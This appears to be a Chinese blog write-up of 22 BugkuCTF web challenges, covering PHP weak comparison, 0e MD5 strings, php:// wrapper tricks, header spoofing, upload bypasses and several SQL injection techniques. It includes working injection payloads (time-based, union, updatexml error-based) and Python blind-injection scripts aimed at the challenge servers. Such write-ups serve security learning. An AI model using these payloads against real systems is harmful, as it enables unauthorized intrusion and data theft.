BugkuCTF-web

1.矛盾:

php是弱类型语言
而num==是弱类型比较
如果输入的不是纯的数字,他会把字母之前的数字保留下来
所以我们输入1‘
或者用%00截断
在这里插入图片描述

2.变量1:

args=GLOBALS
GLOBAS:超全局变量,然后var_dump打印出全部的变量的内容
在这里插入图片描述

3.管理员系统:

在这里插入图片描述
查看源代码:
在这里插入图片描述
发现最后有一个base64编码的“dGVzdDEyMw==”
解码后发现是test123,推断应该是密码

用burp抓包:
在这里插入图片描述

4.你从哪里来:

在这里插入图片描述
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

5.web4

查看源代码:
在这里插入图片描述
发现用url编码的数据,使用hackbar解码后:
在这里插入图片描述
eval(var1+var2+var3)将三个变量串起来,然后里面的函数的意思是将输入框输入的值传给a,然后判断a是不是等于那一串数据,如果等于的话就输出flag

6.flag在index中

该题考察了php伪协议
大佬的总结

本题用到的是

php://filter/read=convert.base64-encode/resource=index.php

在这里插入图片描述

7.备份是个好习惯

访问index.php.bak发现有备份文件

下载后打开
在这里插入图片描述
含义是要我们以get的方式传入key1和key2,而且key1与kye2 的md5值要相等,并且key1!=key2。而且传入的时候会把key给替换为空格。
对于替换空格我们可以用双写来绕过,而MD5则可以用传入数组的方式来绕过判断,或者==的漏洞

利用==比较漏洞

如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

转载于:这个链接
在这里插入图片描述

8.学生成绩查询

发现是post注入
burp抓包放入重放模块,然后构造payload
在这里插入图片描述
爆表名:
在这里插入图片描述
爆列名:
在这里插入图片描述
dump出数据:
在这里插入图片描述

9.速度要快

import re
import base64
url = 'http://123.206.31.85:10013/index.php'

s = requests.Session()
html = s.post(url,data={"password":"123123"})
test = html.headers
str1 = base64.b64decode(test['Password'])
res = re.findall(r"{(.*?)}",str(str1))
print(s.post(url,data={"password":str(res[0])}).text)

10.cookie欺骗

发现网址这里有个base64编码的
在这里插入图片描述
解码看看
在这里插入图片描述
将这个改成index.php看看
在这里插入图片描述
发现就个<?php,再仔细观察网址,发现前面有个line,发现将line修改为不同的值会返回不同的语句,写个脚本打印出来看看

import requests

for i in range(0,50):
    url = 'http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
    res = requests.get(url)
    print(res.text)

发现要我们提交cookie,margin=margin就可以访问keys.php
在这里插入图片描述
但是我发现直接访问也可以访问,但是里面是空的,那么把keys.php base64一下,查看源代码成功获得flag

在这里插入图片描述

11.never give up

查看源代码发现有个网址,访问后发现被定向到了bugku,那么用burp抓包看看
在这里插入图片描述
burp抓包,发送到重放模块,然后发送,收到如图的回复
在这里插入图片描述
发现一个url编码的东西,用hackbar解码后,发现还是base64编码的,然后再解码,发现又是一个url编码的,然后解码得到代码

<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))#查找,在字符串中a第一次出现的位置
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');#把a中的内容读取到data中,file_get_contents() 函数把整个文件读入一个字符串中。
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>-->

可以看到它要求我们:
(1).用get的方式传入id,a,b三个数据
(2).id非空但要求值等于0
(3).b的长度要大于5并且第一个字符不能为4,但是又要求"111"substr($b,0,1)包含于"1114"中,因此substr($b,0,1)要么为空,要么为4
(4).a输入的数据不能含有.并且内容要为"bugku is a nice plateform!",然后是用file_get_contents函数来读取内容的,那么就要求a是一个文件
然后没有思路了
那就直接访问这个f4l2a3g.txt试试。。。。
在这里插入图片描述
然后看了一下大佬的write up
(1).对于id我们可以让di等于一串纯的字母,因为在==比较的时候等号右边的是一个数字,那么php就会把等号左边的转换为数字,而字母转换的效果就是0.(id==‘a’)
(2).eregi这个东西存在%00截断漏洞,因此我们让b=%0012345,而php对这个进行处理的时候会将%00翻译成一个字节,也就是所b的第一个字符就为%00,那么111%00是在1114中的
(3).a可以使用php伪协议:php://input=
查资料发现可以这样用($data = file_get_contents(“php://input”);)
这里有详细的讲解
(4).payload(?id=a&b=%0012345&a=php://input)然后a的数据用post的方式上传
在这里插入图片描述
妙啊

12.md5 collision(NUPT_CTF)//md5碰撞

打开网页发现啥也没有。。。没辙了,用dirsearch扫一下

在这里插入图片描述
然后我用postman,post一个数据,有了
在这里插入图片描述
后面发现直接在url后面加上?a=1也可以(我是个臭傻汁。。。。)
再看题目要我们碰撞?要碰撞的MD5值是啥啊?没说啊,后来看到网上的源代码。。。

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

转载于:详细解答
这个的本质还是使用弱类型比较,再加上QNKCDZO经过md5后是0e开头的,php以为这个是科学计数法就是0的多少次方,还是0,因此我们需要找一个MD5后为0e开头且后面几位全是数字的值。

import hashlib
import random
import requests
import re

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))#你要MD5的值
    return m.hexdigest()#md5后的值

words='abcdefghijklmnopqrstuvwxyz0123456789'
str1 = ""
mark = "false!!!"

f = open('MD5.txt','a')

for i in range(0,100000):
    for j in range(6,15):
        while(len(str1)<j):
            str1+=random.choice(words)
        if(len(str1)>j):
            str1 = ""
        if(len(str1)==j):
            f.write(str1+"\n")
f.close()

f = open("MD5.txt",'r')

for i in f:
    if md5(i)[0:2]=="0e" and md5(i)[2:-1].isdigit():
        print(i,md5(i))
        url = "http://123.206.87.240:9009/md5.php?a="+i
        re = requests.get(url)
        if mark not in re.text:
            print(re.text)

f.close()

本来想写个脚本来跑,但是没跑出来
问题(1).str1是randmo生成的不全面,并且没有去重
问题(2).写入文件后貌似发生了什么变化,MD5出来的于我在网上用MD5加密的值不一样
老老实实用这个大佬的大佬的详解

0e开头的md5和原值:
 
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

13.程序员本地访问

在http消息头中加上X-Forwarded-For:127.0.0.1即可
在这里插入图片描述

14.各种绕过

在这里插入图片描述
1.传入id要为margin
2.以get的方式传入username,以post的方式传入passwd
3.传入的username和passwd的sha1值要相等
4.username的值与passwd的值不相等

想到用数组的形式传入username和passwd,因为php加密对数组的处理有问题,只要是数组它输出的都是NULL,因此也就满足了相等的条件了。
在这里插入图片描述
flag好像被人删了。。。

15.web8

在这里插入图片描述
老套路了
file_get_contents($fn)->file_get_contents(php://input)
payload:http://123.206.87.240:8002/web8/?ac=1&fn=php://input
同时post 1

16.细心

dirsearch扫一波
在这里插入图片描述
访问robots.txt发现
在这里插入图片描述
访问这个网页
在这里插入图片描述
查看源代码:
在这里插入图片描述
应该是让我们传x的值登录
burp自带字典爆破。。。
在这里插入图片描述
得到flag
在这里插入图片描述

17.求getshell

这个地方一共有三个绕过的地方
1.请求头的content-type
2.请求数据的content-type
3.文件后缀

解题思路:
1.上传1.php文件,发现失败
2.上传jpg文件成功
3.上传jpg然后抓包修改后缀(php2, php3, php4, php5, phps, pht, phtm, phtml),发现php5可以上传,但文件还是jpg格式
4.看到请求头有个content-type
看大佬的writeup大小写绕过(mUltipart/form-data)
常用的content-type
绕过方法
在这里插入图片描述

18.insert into

题目给了一段源代码
在这里插入图片描述
分析是根据X-Forward-For传入的ip地址来输出我们的ip,并将ip插入到数据库中,这里我们就可以尝试insert into注入,但是我对于insert into这个位置的注入不太了解,查了下资料。。。
看了下大佬的write up:看这里

explode("",str1)函数:将str1按照前面的要求分割,并放入数组中,这里是按’,‘来分割也就是说我们没有办法传入带有,的语句,那么if(substr(*)=’*’,*,*)这种语句就不能用了
看了write up说if不能用还可以用另外一种:

select case when *** then *** else *** end;

而选择字符位置则可以用 from for代替这个真的太骚了。。
比如:
select database() from 1 for 2;就是从第一个开始选两个字符
select database() from 3 for 2; 就是从第三个开始选两个字符

可以看到 IP是被一对单引号包裹起来的,因此这是字符型的报错注入,要注意闭合单引号
然后一般的payload就是:

'or (select case when substr((select database()) from 1 for 1)='a' then sleep(1) else 1 end) or'

试了用#,–+,–,都不能屏蔽后面那个单引号,所以用 or ’ 的方法来闭合,前两个都是假,就看中间的了

大佬的脚本:

import requests
import string 
 
mystring = string.ascii_letters+string.digits//没用过,tql,学习
url='http://123.206.87.240:8002/web15/'
data = "'or (select case when (substr((select flag from flag) from {0} for 1)='{1}') then sleep(1) else 1 end) or'"  #这里的{}对应的是后面所需要的format
flag = ''
 
for i in range(1,35):
    for j in mystring:
        try:
            headers = {'x-forwarded-for':data.format(str(i),j)}
            res = requests.get(url,headers=headers,timeout=1)//timeout参数好评
        except requests.exceptions.ReadTimeout://try except好啊
            flag += j
            print (flag)
            break
 
print ('The final flag:'+flag)

看看大佬的脚本,再看看自己的,我太菜了。。。。

19.多次

打开发现是个sql注入
尝试输入1‘,报错,输入1‘#报错,输入1’%23不报错,确定id被包裹在一对单引号中
输入1‘ and 1=1%23,报错
输入1’ && 1=1%23,报错(确定了and被过滤了。。。)
sqlmap level3跑一下:
在这里插入图片描述
倒是有注入点,但是不爆不出数据库名字。。。。

然后再接着绕过。。。。
输入 1’ aandnd 1=1%23发现回显正常,双写绕过可行

接着输入1‘ order by 1%23报错了。。。。(这太难受了)

输入1’ ororder by 1%23还是报错。。。。

查看网上的write up发现可以用异或查询来判断是否被过滤:

1'^(length('union')!=0)%23
因为是异或,所以全真或者全假为假,否则就为真,也就是说如果显示正常了,那么union的长度就为0,也就是被过滤了。

order真的是被过滤得死死的。。

直接union select 1,2,3…猜字段

在这里插入图片描述
发现字段为2,接下来爆数据库名字:
在这里插入图片描述
爆表名:
在这里插入图片描述
不输出,想起来or被过滤了的,妈的,双写 infoorrmation

爆列名:
在这里插入图片描述
出flag:
在这里插入图片描述
这不对啊。。。。
换个address看看:
在这里插入图片描述
出现了,下一关
在这里插入图片描述
发现这个有报错的回显,可以用报错注入,然后测试一下一般的方法,发现没有过滤 and,or,order by,但是union 和 select都被过滤了,
它说它有很好的waf,那么就试一下绕过waf的方法:
/!**/
/*!5000* /
/*!12345*/
/*!13337*/

都被过滤了,,,,还是用报错把。。。

1' and updatexml(1,concat(0x27,database(),0x27),1)%23

爆表名:

1' and updatexml(1,concat(0x23,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x23),1)%23

在这里插入图片描述
爆列名:

1' and updatexml(1,concat(0x23,(select group_concat(column_name)from information_schema.columns where table_name='flag2'),0x23),1)%23

在这里插入图片描述
flag:

1' and updatexml(1,concat(0x23,(select flag2 from flag2),0x23),1)%23

在这里插入图片描述

20.PHP_encrypt_1(ISCCCTF)

下载源代码看:
在这里插入图片描述
是一道解码题。
先分析题目:
1.可以看到key是被MD5加密的
2.利用for循环从key中按照顺序截取出与被加密的字符串长度一样的char出来
3.将密钥char与data逐位相加再mod128.
4.base64编码
解题思路:
1.先base64解码(解码后要用utf-8进行编码)
2.首先我们要明白一个道理:
((7+4)%3-4%3)%3=7%3
3.因此我们可以先将char算出来,然后用base64解码的密文去减去char,因为:
(str[i]%128-char[i]%128)=data[i]%128
3.因为ascii表最多就128个,也就是说data[i]%128=data[i],
所以我们就得到了flag,要是<128的话就不可能得到flag了

import hashlib;
import base64;

key1 = "729623334f0aa2784a1599fd374c120d"
str1 = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="
str1 = base64.b64decode(str1)
str1 = str1.decode("utf-8")
x = 0
key2=""
for i in range(0,len(str1)):
    if(x==len(key1)):
        x=0
    key2 += key1[x]
    x += 1
print(key2)

key3 = ""
for i in key2:
    key3 += chr(ord(i)%128)
print(key3)

flag = ""
for i in range(0,len(key3)):
    flag += chr((ord(str1[i])-ord(key3[i]))%128)
print(flag)

憨憨代码

21.flag.php

看了大哥些写得write up,发现就是用get传hint就可以看到源代码了
在这里插入图片描述
可以分析得:
我们要传入ISecer:******这种形式的cookie,而下面那个key是来迷惑我们的,毕竟编程语言还是从上到下一条一条执行的,所以在上面key应该没有定义。
这里是序列化与反序列化的详解
在这里插入图片描述
构造payload:ISecer=s:0:""%3b
有毒吧,为什么不跳转到flag,我醉了

22.sql注入2

不知道怎么绕过了,直接sqlmap --leve5拉满
啊
然而没有卵用,还是跑不出来
用dirsearch扫一下
在这里插入图片描述
发现了.DS_Store这个东西,可能是泄露哦

然后用python_dsstore查看
在这里插入图片描述
发现了个flag,访问看看
这就出来了。。。。。
在这里插入图片描述
还是去看大佬的write up。。。。
毕竟是叫我们有sql注入
看网上大部分都是使用-0-或者-1-绕过,因为sql在处理字符串-数字时会把字符串转成数字为0.
在这里插入图片描述
可以看到是成立的,我的数据库名是mysql第一个字母是m,本来应该用from 1 for 1 但是for 被过滤了,而substr(*from 1)默认就是选取一个字符,同理mid以及substring也是一样的
大佬的代码:
转载于这里

#!-*-coding:utf-8-*-
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
    'PHPSESSID':'lv6m5u2466f0ja6k8l8f8kehjdq4skhn'
}

password = ""
for i in range(1,33):
    for j in '0123456789abcdef':
        payload =  "admin'-(ascii(substr((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
        data = {
            'uname': payload,
            'passwd': '123'
        }
        r = requests.post(url=url,cookies=cookie,data=data)
        if "username error!!@_@" in r.text:
            password += j
            print (password)
            break

这个有个比较玄学的地方就是猜到了password的列名是passwd,而且不知道是怎么判断出来admin包裹在单引号中的,后面想了一下,是这样的?
在这里插入图片描述
还有一种方法异或注入:

0'^(ascii(substr(database()from ("*")))="*")^'

异或嘛,全0全1都出0,(ascii(substr(database()from ("")))=""),如果为真那么就为真了,如果为假就为假了

bugku的题很多都被玩坏了,进阶的大多数都是。。。。bugku(旧平台)就到此为止了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值